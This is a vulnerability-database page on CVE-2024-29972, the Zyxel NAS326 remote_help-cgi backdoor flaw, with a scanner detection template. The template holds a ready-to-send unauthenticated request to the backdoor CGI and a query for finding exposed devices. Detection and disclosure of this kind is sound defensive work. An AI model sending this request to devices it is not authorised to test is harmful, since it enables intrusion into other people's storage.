Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Zyxel Nas326_Firmware | 20 Jun 202411:12 | – | githubexploit | |
| Remote_help-cgi Code Execution | 5 Jun 202400:00 | – | bdu_fstec | |
| CVE-2024-29972 | 5 Jun 202417:33 | – | circl | |
| CVE-2024-29972 | 4 Jun 202401:24 | – | cve | |
| CVE-2024-29972 | 4 Jun 202401:24 | – | cvelist | |
| CVE-2024-29972 | 15 Oct 202611:20 | – | kitploit | |
| Zyxel NAS remote_help RCE (CVE-2024-29972) | 5 Oct 202614:20 | – | kittysploit | |
| Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account Detection | 28 Jul 202611:27 | – | kittysploit | |
| CVE-2024-29972 | 4 Jun 202402:15 | – | nvd | |
| Zyxel NAS Multiple Vulnerabilities (Jun 2024) - Active Check | 6 Jun 202400:00 | – | openvas |
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id: CVE-2024-29972
info:
name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - NsaRescueAngel Backdoor Account
author: gy741
severity: critical
description: |
The command injection vulnerability in the CGI program "remote_help-cgi" in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
impact: |
Attackers can use the backdoor account to gain unauthorized administrative access to the NAS device.
remediation: |
Update Zyxel NAS326 firmware to a version that removes the backdoor account.
reference:
- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://nvd.nist.gov/vuln/detail/CVE-2024-29972
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.88
cve-id: CVE-2024-29972
cwe-id: CWE-78
epss-score: 0.89326
epss-percentile: 0.99784
cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: zyxel
product: nas326_firmware
fofa-query: app="ZYXEL-NAS326"
tags: cve,cve2024,zyxel,backdoor,vkev,vuln
http:
- raw:
- |
GET /desktop,/cgi-bin/remote_help-cgi/favicon.ico?type=sshd_tdc HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'result=0')"
condition: and
# digest: 4a0a0047304502205a5e1d0b55494cb0f946c9f5c48420eb69b63bfd553a86b2e512b35a8dc123f5022100ac0b5d67926b1a129f0601193d395d5a2dd750e0d109e14248507f8b5daf9b73:922c64590222798bb761d5b6d8e72950Data
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04 Feb 2026 07:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
EPSS0.89326
SSVC